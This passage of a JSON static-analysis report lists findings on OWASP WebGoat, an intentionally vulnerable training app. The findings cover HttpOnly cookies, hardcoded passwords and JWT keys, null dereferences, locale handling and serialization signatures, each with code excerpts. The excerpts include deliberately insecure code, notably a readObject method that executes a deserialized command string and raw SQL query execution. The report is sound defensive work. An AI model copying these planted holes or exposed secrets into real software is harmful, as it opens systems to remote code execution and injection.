EndLine: 66\nCode:\nif (_results.getString(\"department\").equals(\"Sales\")) {\n                    output.append(\"<span class='feedback-positive'>\" + _query + \"</span>\");\n                    output.append(SqlInjectionLesson8.generateTable(_results));\n                    return trackProgress(success().output(output.toString()).build());\n                } else {\n                    return trackProgress(failed().output(output.toString()).build());\n                }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson3.java\nStartLine: 62, EndLine: 68\nCode:\noutput.append(SqlInjectionLesson8.generateTable(_results));\n                    return trackProgress(success().output(output.toString()).build());\n                } else {\n                    return trackProgress(failed().output(output.toString()).build());\n                }\n\n            } catch (SQLException sqle) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson2.java\nStartLine: 50, EndLine: 56\nCode:\ntry {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                        ResultSet.CONCUR_READ_ONLY);\n                ResultSet results = statement.executeQuery(_query);\n                StringBuffer output = new StringBuffer();\n\n                results.first();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson3.java\nStartLine: 50, EndLine: 56\nCode:\ntry {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                        ResultSet.CONCUR_READ_ONLY);\n                Statement check_statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                        ResultSet.CONCUR_READ_ONLY);\n                statement.executeUpdate(_query);\n                ResultSet _results = check_statement.executeQuery(\"SELECT * FROM employees WHERE last_name='Barnett';\");","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SC-5","Rev_4"]}},{"id":"1733FB59-CC13-4E99-9638-3D45FEEE9BE1","desc":"<Content>All major browsers support the <code>HttpOnly</code> cookie property that prevents client-side scripts from accessing the cookie. Cross-site scripting attacks often access cookies in an attempt to steal session identifiers or authentication tokens. Without <code>HttpOnly</code> enabled, attackers have easier access to user cookies.\n<Paragraph>\nIn this case, a cookie is set in <Replace key=\"PrimaryLocation.file\"/> at line <Replace key=\"PrimaryLocation.line\"/>, but the <code>HttpOnly</code> parameter is not set or is set to <code>false</code>.\n</Paragraph>\n\n<b>Example 1:</b> The following code creates a cookie without setting the <code>HttpOnly</code> property.\n<pre>\njavax.servlet.http.Cookie cookie = new javax.servlet.http.Cookie(\"emailCookie\", email);\n// Missing a call to: cookie.setHttpOnly(true);\n</pre></Content>","title":"<Content><Paragraph>The program creates a cookie in <Replace key=\"PrimaryLocation.file\"/> at line <Replace key=\"PrimaryLocation.line\"/>, but fails to set the <code>HttpOnly</code> flag to <code>true</code>.<AltParagraph>The program creates a cookie, but fails to set the <code>HttpOnly</code> flag to <code>true</code>.</AltParagraph></Paragraph></Content>","impact":0.4,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 75, EndLine: 81\nCode:\n//Call the reset endpoint\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/votings\")\n                .contentType(MediaType.APPLICATION_JSON)\n                .cookie(new Cookie(\"access_token\", token)))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.lessonCompleted\", is(true)));\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 78, EndLine: 84\nCode:\n.cookie(new Cookie(\"access_token\", token)))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.lessonCompleted\", is(true)));\n    }\n\n    @Test\n    public void resetWithoutTokenShouldNotWork() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 189, EndLine: 195\nCode:\nString token = Jwts.builder().signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD).setClaims(claims).compact();\n\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/votings/Admin lost password\")\n                .cookie(new Cookie(\"access_token\", token)))\n                .andExpect(status().isUnauthorized());\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 191, EndLine: 197\nCode:\nmockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/votings/Admin lost password\")\n                .cookie(new Cookie(\"access_token\", token)))\n                .andExpect(status().isUnauthorized());\n    }\n\n    @Test\n    public void unknownUserShouldSeeGuestView() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTVotesEndpoint.java\nStartLine: 87, EndLine: 93\nCode:\n@GetMapping(\"/JWT/votings/login\")\n    public void login(@RequestParam(\"user\") String user, HttpServletResponse response) {\n        if (validUsers.contains(user)) {\n            Claims claims = Jwts.claims().setIssuedAt(Date.from(Instant.now().plus(Duration.ofDays(10))));\n            claims.put(\"admin\", \"false\");\n            claims.put(\"user\", user);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTVotesEndpoint.java\nStartLine: 100, EndLine: 106\nCode:\nresponse.setStatus(HttpStatus.OK.value());\n            response.setContentType(MediaType.APPLICATION_JSON_VALUE);\n        } else {\n            Cookie cookie = new Cookie(\"access_token\", \"\");\n            response.addCookie(cookie);\n            response.setStatus(HttpStatus.UNAUTHORIZED.value());\n            response.setContentType(MediaType.APPLICATION_JSON_VALUE);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTVotesEndpoint.java\nStartLine: 104, EndLine: 110\nCode:\nresponse.addCookie(cookie);\n            response.setStatus(HttpStatus.UNAUTHORIZED.value());\n            response.setContentType(MediaType.APPLICATION_JSON_VALUE);\n        }\n    }\n\n    @GetMapping(\"/JWT/votings\")","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 201, EndLine: 207\nCode:\nString token = Jwts.builder().signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD).setClaims(claims).compact();\n\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/JWT/votings/\")\n                .cookie(new Cookie(\"access_token\", token)))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$[0].numberOfVotes\").doesNotExist())\n                .andExpect(jsonPath(\"$[0].votingAllowed\").doesNotExist())","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 206, EndLine: 212\nCode:\n.andExpect(jsonPath(\"$[0].numberOfVotes\").doesNotExist())\n                .andExpect(jsonPath(\"$[0].votingAllowed\").doesNotExist())\n                .andExpect(jsonPath(\"$[0].average\").doesNotExist());\n    }\n\n\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 107, EndLine: 113\nCode:\n@Test\n    public void guestShouldNotSeeNumberOfVotes() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/JWT/votings\")\n                .cookie(new Cookie(\"access_token\", \"\")))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$[0].numberOfVotes\").doesNotExist())\n                .andExpect(jsonPath(\"$[0].votingAllowed\").doesNotExist())","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 112, EndLine: 118\nCode:\n.andExpect(jsonPath(\"$[0].numberOfVotes\").doesNotExist())\n                .andExpect(jsonPath(\"$[0].votingAllowed\").doesNotExist())\n                .andExpect(jsonPath(\"$[0].average\").doesNotExist());\n    }\n\n    @Test\n    public void tomShouldSeeNumberOfVotes() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 177, EndLine: 183\nCode:\n@Test\n    public void guestShouldNotBeAbleToVote() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/votings/Admin lost password\")\n                .cookie(new Cookie(\"access_token\", \"\")))\n                .andExpect(status().isUnauthorized());\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 179, EndLine: 185\nCode:\nmockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/votings/Admin lost password\")\n                .cookie(new Cookie(\"access_token\", \"\")))\n                .andExpect(status().isUnauthorized());\n    }\n\n    @Test\n    public void unknownUserWithValidTokenShouldNotBeAbleToVote() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 132, EndLine: 138\nCode:\n@Test\n    public void invalidTokenShouldSeeGuestView() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/JWT/votings\")\n                .cookie(new Cookie(\"access_token\", \"abcd.efgh.ijkl\")))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$[0].numberOfVotes\").doesNotExist())\n                .andExpect(jsonPath(\"$[0].votingAllowed\").doesNotExist())","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 137, EndLine: 143\nCode:\n.andExpect(jsonPath(\"$[0].numberOfVotes\").doesNotExist())\n                .andExpect(jsonPath(\"$[0].votingAllowed\").doesNotExist())\n                .andExpect(jsonPath(\"$[0].average\").doesNotExist());\n    }\n\n    @Test\n    public void tomShouldBeAbleToVote() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/csrf/src/test/java/org/owasp/webgoat/csrf/CSRFFeedbackTest.java\nStartLine: 69, EndLine: 75\nCode:\npublic void csrfAttack() throws Exception {\n        mockMvc.perform(post(\"/csrf/feedback/message\")\n                .contentType(MediaType.TEXT_PLAIN)\n                .cookie(new Cookie(\"JSESSIONID\", \"test\"))\n                .header(\"host\", \"localhost:8080\")\n                .header(\"referer\", \"webgoat.org\")\n                .content(\"{\\\"name\\\": \\\"Test\\\", \\\"email\\\": \\\"test1233@dfssdf.de\\\", \\\"subject\\\": \\\"service\\\", \\\"message\\\":\\\"dsaffd\\\"}\"))","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/csrf/src/test/java/org/owasp/webgoat/csrf/CSRFFeedbackTest.java\nStartLine: 75, EndLine: 79\nCode:\n.content(\"{\\\"name\\\": \\\"Test\\\", \\\"email\\\": \\\"test1233@dfssdf.de\\\", \\\"subject\\\": \\\"service\\\", \\\"message\\\":\\\"dsaffd\\\"}\"))\n                .andExpect(jsonPath(\"lessonCompleted\", is(true)))\n                .andExpect(jsonPath(\"feedback\", StringContains.containsString(\"the flag is: \")));\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTVotesEndpoint.java\nStartLine: 95, EndLine: 101\nCode:\n.setClaims(claims)\n                    .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD)\n                    .compact();\n            Cookie cookie = new Cookie(\"access_token\", token);\n            response.addCookie(cookie);\n            response.setStatus(HttpStatus.OK.value());\n            response.setContentType(MediaType.APPLICATION_JSON_VALUE);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTVotesEndpoint.java\nStartLine: 99, EndLine: 105\nCode:\nresponse.addCookie(cookie);\n            response.setStatus(HttpStatus.OK.value());\n            response.setContentType(MediaType.APPLICATION_JSON_VALUE);\n        } else {\n            Cookie cookie = new Cookie(\"access_token\", \"\");\n            response.addCookie(cookie);\n            response.setStatus(HttpStatus.UNAUTHORIZED.value());","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SC-8","Rev_4"]}},{"id":"C204F020-1CA1-4c25-A6CB-BAA69CA2DA0B","desc":"<Content>It is never a good idea to hardcode a password. Not only does hardcoding a password allow all of the project's developers to view the password, it also makes fixing the problem extremely difficult. After the code is in production, the password cannot be changed without patching the software. If the account protected by the password is compromised, the owners of the system must choose between security and availability.\n<Paragraph>\nIn this case, a hardcoded password was found in the call to <Replace key=\"PrimaryCall.name\" link=\"PrimaryLocation\"/> in <Replace key=\"PrimaryLocation.file\"/> at line <Replace key=\"PrimaryLocation.line\"/>.\n</Paragraph>\n\n<b>Example 1:</b> The following code uses a hardcoded password to connect to a database:\n\n<pre>\n...\nDriverManager.getConnection(url, \"scott\", \"tiger\");\n...\n</pre>\n\nThis code will run successfully, but anyone who has access to it will have access to the password. After the program ships, there is likely no way to change the database user \"scott\" with a password of \"tiger\" unless the program is patched. An employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for the application they can use the <code>javap -c</code> command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for <code>Example 1</code>:\n\n<pre>\njavap -c ConnMngr.class\n\n22: ldc   #36; //String jdbc:mysql://ixne.com/rxsql\n24: ldc   #38; //String scott\n26: ldc   #17; //String tiger\n</pre>\n\nIn the mobile environment, password management is especially important given that there is such a high chance of device loss.\n<b>Example 2:</b> The following code uses hardcoded username and password to setup authentication for viewing protected pages with Android's WebView.\n<pre>\n...\nwebview.setWebViewClient(new WebViewClient() {\n  public void onReceivedHttpAuthRequest(WebView view,\n        HttpAuthHandler handler, String host, String realm) {\n    handler.proceed(\"guest\", \"allow\");\n  }\n});\n...\n</pre>\n\nSimilar to <code>Example 1</code>, this code will run successfully, but anyone who has access to it will have access to the password.</Content>","title":"<Content>Hardcoded passwords may compromise system security in a way that cannot be easily remedied.</Content>","impact":0.8,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTRefreshEndpoint.java\nStartLine: 50, EndLine: 56\nCode:\n@AssignmentHints({\"jwt-refresh-hint1\", \"jwt-refresh-hint2\", \"jwt-refresh-hint3\", \"jwt-refresh-hint4\"})\npublic class JWTRefreshEndpoint extends AssignmentEndpoint {\n\n    public static final String PASSWORD = \"bm5nhSkxCXZkKRy4\";\n    private static final String JWT_PASSWORD = \"bm5n3SkxCX4kKRy4\";\n    private static final List<String> validRefreshTokens = Lists.newArrayList();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/SolutionConstants.java\nStartLine: 31, EndLine: 37\nCode:\npublic interface SolutionConstants {\n\n    //TODO should be random generated when starting the server\n    String PASSWORD = \"!!webgoat_admin_1234!!\";\n    String PASSWORD_TOM = \"thisisasecretfortomonly\";\n    String ADMIN_PASSWORD_LINK = \"375afe1104f4a487a73823c50a9292a2\";\n}","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SC-28","Rev_4"]}},{"id":"C3693353-E32E-4B40-964A-94186E0D63B3","desc":"<Content>Just about every serious attack on a software system begins with the violation of a programmer's assumptions. After the attack, the programmer's assumptions seem flimsy and poorly founded, but before an attack many programmers would defend their assumptions well past the end of their lunch break.\n\nTwo dubious assumptions that are easy to spot in code are \"this function call can never fail\" and \"it doesn't matter if this function call fails\". When a programmer ignores the return value from a function, they implicitly state that they are operating under one of these assumptions.\n\n<Paragraph>\nIn this case, an earlier return value is used without being checked in <Replace key=\"PrimaryLocation.file\"/> at line <Replace key=\"PrimaryLocation.line\"/>.\n</Paragraph>\n\n<b>Example 1:</b>  The following code does not check to see if the string returned by <code>getParameter()</code> is <code>null</code> before calling the member function <code>compareTo()</code>, potentially causing a <code>null</code> dereference.\n\n<pre>\nString itemName = request.getParameter(ITEM_NAME);\n\tif (itemName.compareTo(IMPORTANT_ITEM)) {\n\t\t...\n\t}\n\t...\n</pre>\n\n<b>Example 2:</b>. The following code shows a system property that is set to <code>null</code> and later dereferenced by a programmer who mistakenly assumes it will always be defined.\n\n<pre>\nSystem.clearProperty(\"os.name\");\n...\nString os = System.getProperty(\"os.name\");\nif (os.equalsIgnoreCase(\"Windows 95\") )\n\tSystem.out.println(\"Not supported\");\n</pre>\n\nThe traditional defense of this coding error is:\n\n\"I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a <code>null</code> value.\"\n\nBut attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.</Content>","title":"<Content><Paragraph>The method <Replace key=\"EnclosingFunction.name\"/> in <Replace key=\"PrimaryLocation.file\"/> can dereference a null-pointer on line <Replace key=\"LastTraceLocation.line\"/> because it does not check the return value of <Replace key=\"PrimaryCall.name\"/>, which might return <code>null</code>.<AltParagraph>The program can dereference a null-pointer because it does not check the return value of a function that might return <code>null</code>.</AltParagraph></Paragraph></Content>","impact":0.4,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-integration-tests/src/test/java/org/owasp/webgoat/DeserializationTest.java\nStartLine: 10, EndLine: 16\nCode:\npublic class DeserializationTest extends IntegrationTest {\n\n\tprivate static String OS = System.getProperty(\"os.name\").toLowerCase();\n    \n    @Test\n    public void runTests() throws IOException {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/insecure-deserialization/src/test/java/org/owasp/webgoat/deserialization/DeserializeTest.java\nStartLine: 21, EndLine: 27\nCode:\nprivate MockMvc mockMvc;\n\t\n\tprivate static String OS = System.getProperty(\"os.name\").toLowerCase();\n\t\n\t@Before\n    public void setup() {","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SC-5","Rev_4"]}},{"id":"D8E9ED3B-22EC-4CBA-98C8-7C67F73CCF4C","desc":"<Content>When comparing data that may be locale-dependent, an appropriate locale should be specified.\n\n<b>Example 1:</b> The following example tries to perform validation to determine if user input includes a <code>&lt;script&gt;</code> tag.\n<pre>\n  ...\n  public String tagProcessor(String tag){\n    if (tag.toUpperCase().equals(\"SCRIPT\")){\n      return null;\n    }\n    //does not contain SCRIPT tag, keep processing input\n    ...\n  }\n  ...\n</pre>\n\nThe problem with <code>Example 1</code> is that <code>java.lang.String.toUpperCase()</code> when used without a locale uses the rules of the default locale. Using the Turkish locale <code>\"title\".toUpperCase()</code> returns &quot;T\\u0130TLE&quot;, where &quot;\\u0130&quot; is the &quot;LATIN CAPITAL LETTER I WITH DOT ABOVE&quot; character. This can lead to unexpected results, such as in <code>Example 1</code> where this will prevent the word &quot;script&quot; from being caught by this validation, potentially leading to a Cross-Site Scripting vulnerability.</Content>","title":"<Content><Paragraph>The call to <Replace key=\"PrimaryTransitionFunction.name\"/>  on line <Replace key=\"PrimaryLocation.line\"/> causes portability problems because it has different locales which may lead to unexpected output. This may also circumvent custom validation routines.<AltParagraph>Unexpected portability problems can be found when the locale is not specified.</AltParagraph></Paragraph></Content>","impact":0.4,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDOREditOtherProfiile.java\nStartLine: 45, EndLine: 51\nCode:\n// Certain roles can sometimes edit others' profiles, but we shouldn't just assume that and let everyone, right?\n        // Except that this is a vulnerable app ... so we will\n        UserProfile currentUserProfile = new UserProfile(userId);\n        if (userSubmittedProfile.getUserId() != null && !userSubmittedProfile.getUserId().equals(authUserId)) {\n            // let's get this started ...\n            currentUserProfile.setColor(userSubmittedProfile.getColor());\n            currentUserProfile.setRole(userSubmittedProfile.getRole());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDOREditOtherProfiile.java\nStartLine: 51, EndLine: 57\nCode:\ncurrentUserProfile.setRole(userSubmittedProfile.getRole());\n            // we will persist in the session object for now in case we want to refer back or use it later\n            userSessionData.setValue(\"idor-updated-other-profile\",currentUserProfile);\n            if (currentUserProfile.getRole() <= 1 && currentUserProfile.getColor().toLowerCase().equals(\"red\")) {\n                return trackProgress(success()\n                    .feedback(\"idor.edit.profile.success1\")\n                    .output(currentUserProfile.profileToMap().toString())","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDOREditOtherProfiile.java\nStartLine: 58, EndLine: 64\nCode:\n.build());\n            }\n\n            if (currentUserProfile.getRole() > 1 && currentUserProfile.getColor().toLowerCase().equals(\"red\")) {\n                return trackProgress(success()\n                        .feedback(\"idor.edit.profile.failure1\")\n                        .output(currentUserProfile.profileToMap().toString())","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDOREditOtherProfiile.java\nStartLine: 65, EndLine: 71\nCode:\n.build());\n            }\n\n            if (currentUserProfile.getRole() <= 1 && !currentUserProfile.getColor().toLowerCase().equals(\"red\")) {\n                return trackProgress(success()\n                    .feedback(\"idor.edit.profile.failure2\")\n                    .output(currentUserProfile.profileToMap().toString())","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/http-basics/src/main/java/org/owasp/webgoat/http_basics/HttpBasicsQuiz.java\nStartLine: 39, EndLine: 45\nCode:\n@PostMapping(\"/HttpBasics/attack2\")\n    @ResponseBody\n    public AttackResult completed(@RequestParam String answer, @RequestParam String magic_answer, @RequestParam String magic_num, HttpServletRequest request) throws IOException {\n        if (\"POST\".equals(answer.toUpperCase()) && magic_answer.equals(magic_num)) {\n            return trackProgress(success().build());\n        } else {\n            if (!\"POST\".equals(answer.toUpperCase())) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/http-basics/src/main/java/org/owasp/webgoat/http_basics/HttpBasicsQuiz.java\nStartLine: 42, EndLine: 48\nCode:\nif (\"POST\".equals(answer.toUpperCase()) && magic_answer.equals(magic_num)) {\n            return trackProgress(success().build());\n        } else {\n            if (!\"POST\".equals(answer.toUpperCase())) {\n                return trackProgress(failed().feedback(\"http-basics.incorrect\").build());\n            }\n            if (!magic_answer.equals(magic_num)) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson1.java\nStartLine: 37, EndLine: 43\nCode:\n@PostMapping(\"/CrossSiteScripting/attack1\")\n    @ResponseBody\n    public AttackResult completed(@RequestParam String answer_xss_1) {\n        if (answer_xss_1.toString().toLowerCase().equals(\"yes\")) {\n            return trackProgress(success().build());\n        } else {\n            return trackProgress(failed().feedback(\"xss.lesson1.failure\").build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/command-injection/src/main/java/org/owasp/webgoat/plugin/CommandInjectionExecute.java\nStartLine: 49, EndLine: 55\nCode:\n@RequestMapping(method = RequestMethod.GET)\n\tpublic @ResponseBody\n\tAttackResult completed(HttpServletRequest request) throws IOException {\n\t\tif (request.getHeader(\"x-request-intercepted\").toLowerCase().equals(\"true\") && request.getParameter(\"changeMe\").equals(\"Requests are tampered easily\")) {\n            return trackProgress(success().feedback(\"http-proxies.intercept.success\").build());\n\t\t} else {\n            return trackProgress(failed().feedback(\"http-proxies.intercept.failure\").build());","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["unmapped","Rev_4"]}},{"id":"6652216F-0850-4985-847A-19DF0EF1CAD1","desc":"<Content>Code Correctness: Incorrect Serializable Method Signature issues occur when a serializable class creates a serialization or deserialization function but does not follow the correct signatures:\n\n<pre>\n  private void writeObject(java.io.ObjectOutputStream out) throws IOException;\n  private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException;\n  private void readObjectNoData() throws ObjectStreamException;\n</pre>\n\nDeviating from the method signatures that serialization requires may mean that the method is never called during serialization/deserialization, leading to incomplete serialization/deserialization, or could mean that untrusted code could gain access to the objects.\nIn the case that there are exceptions that are not thrown, it may mean that serialization/deserialization fails and crashes the application or potentially even fails quietly such that objects may be only partially constructed correctly, leading to flaws that can be extremely difficult to debug. The caller should catch these exceptions such that incorrect serialization/deserialization can be handled properly without a crash or partially constructed objects.</Content>","title":"<Content><Paragraph>The method in <Replace key=\"PrimaryLocation.file\"/> at <Replace key=\"PrimaryLocation.line\"/> uses a serializable method but with an incorrect signature, so it may never be called during serialization/deserialization.<AltParagraph>Using the incorrect method signature on a method used in serialization may lead to it never being called.</AltParagraph></Paragraph></Content>","impact":0.6,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/insecure-deserialization/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java\nStartLine: 32, EndLine: 70\nCode:\n* Execute a task when de-serializing a saved or received object.\n\t * @author stupid develop\n\t */\n\tprivate void readObject( ObjectInputStream stream ) throws Exception {\n        //unserialize data so taskName and taskAction are available\n\t\tstream.defaultReadObject();\n\t\t\n\t\t//do something with the data\n\t\tSystem.out.println(\"restoring task: \"+taskName);\n\t\tSystem.out.println(\"restoring time: \"+requestedExecutionTime);\n\t\t\n\t\tif (requestedExecutionTime!=null && \n\t\t\t\t(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))\n\t\t\t\t|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {\n\t\t\t//do nothing is the time is not within 10 minutes after the object has been created\n\t\t\tSystem.out.println(this.toString());\n\t\t\tthrow new IllegalArgumentException(\"outdated\");\n\t\t}\n\t\t\n\t\t//condition is here to prevent you from destroying the goat altogether\n\t\tif ((taskAction.startsWith(\"sleep\")||taskAction.startsWith(\"ping\"))\n\t\t\t\t&& taskAction.length() < 22) {\n\t\tSystem.out.println(\"about to execute: \"+taskAction);\n\t\ttry {\n            Process p = Runtime.getRuntime().exec(taskAction);\n            BufferedReader in = new BufferedReader(\n                                new InputStreamReader(p.getInputStream()));\n            String line = null;\n            while ((line = in.readLine()) != null) {\n                System.out.println(line);\n            }\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n\t\t}\n       \n    }\n\t\n}","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["unmapped","Rev_4"]}},{"id":"9D479AB5-B986-492C-B1F0-C11F2FD623F7","desc":"<Content>It is never a good idea for a web application to attempt to shut down the application container. A call to a termination method is probably part of leftover debug code or code imported from a non-J2EE application.</Content>","title":"<Content><Paragraph>The call to <Replace key=\"PrimaryCall.name\"/> in <Replace key=\"EnclosingFunction.name\"/> at <Replace key=\"PrimaryLocation.file\"/> line <Replace key=\"PrimaryLocation.line\"/> shuts down the web application container. A web application should not attempt to shut down its container.<AltParagraph>A web application should not attempt to shut down its container.</AltParagraph></Paragraph></Content>","impact":0.4,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/PasswordResetLink.java\nStartLine: 33, EndLine: 39\nCode:\npublic static void main(String[] args) {\n        if (args == null || args.length != 2) {\n            System.out.println(\"Need a username and key\");\n            System.exit(1);\n        }\n        String username = args[0];\n        String key = args[1];","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SC-5","Rev_4"]}},{"id":"993CC475-24A5-4BBD-A008-67045CCA0ACB","desc":"<Content>When data from a byte array is converted into a <code>String</code>, it is unspecified what will happen to any data that is outside of the applicable character set. This can lead to data being lost, or a decrease in the level of security when binary data is needed to ensure proper security measures are followed.\n\n<b>Example 1:</b> The following code converts data into a String in order to create a hash.\n\n<pre>\n  ...\n  FileInputStream fis = new FileInputStream(myFile);\n  byte[] byteArr = byte[BUFSIZE];\n  ...\n  int count = fis.read(byteArr);\n  ...\n  String fileString = new String(byteArr);\n  String fileSHA256Hex = DigestUtils.sha256Hex(fileString);\n  // use fileSHA256Hex to validate file\n  ...\n</pre>\n\nAssuming the size of the file is less than <code>BUFSIZE</code>, this works 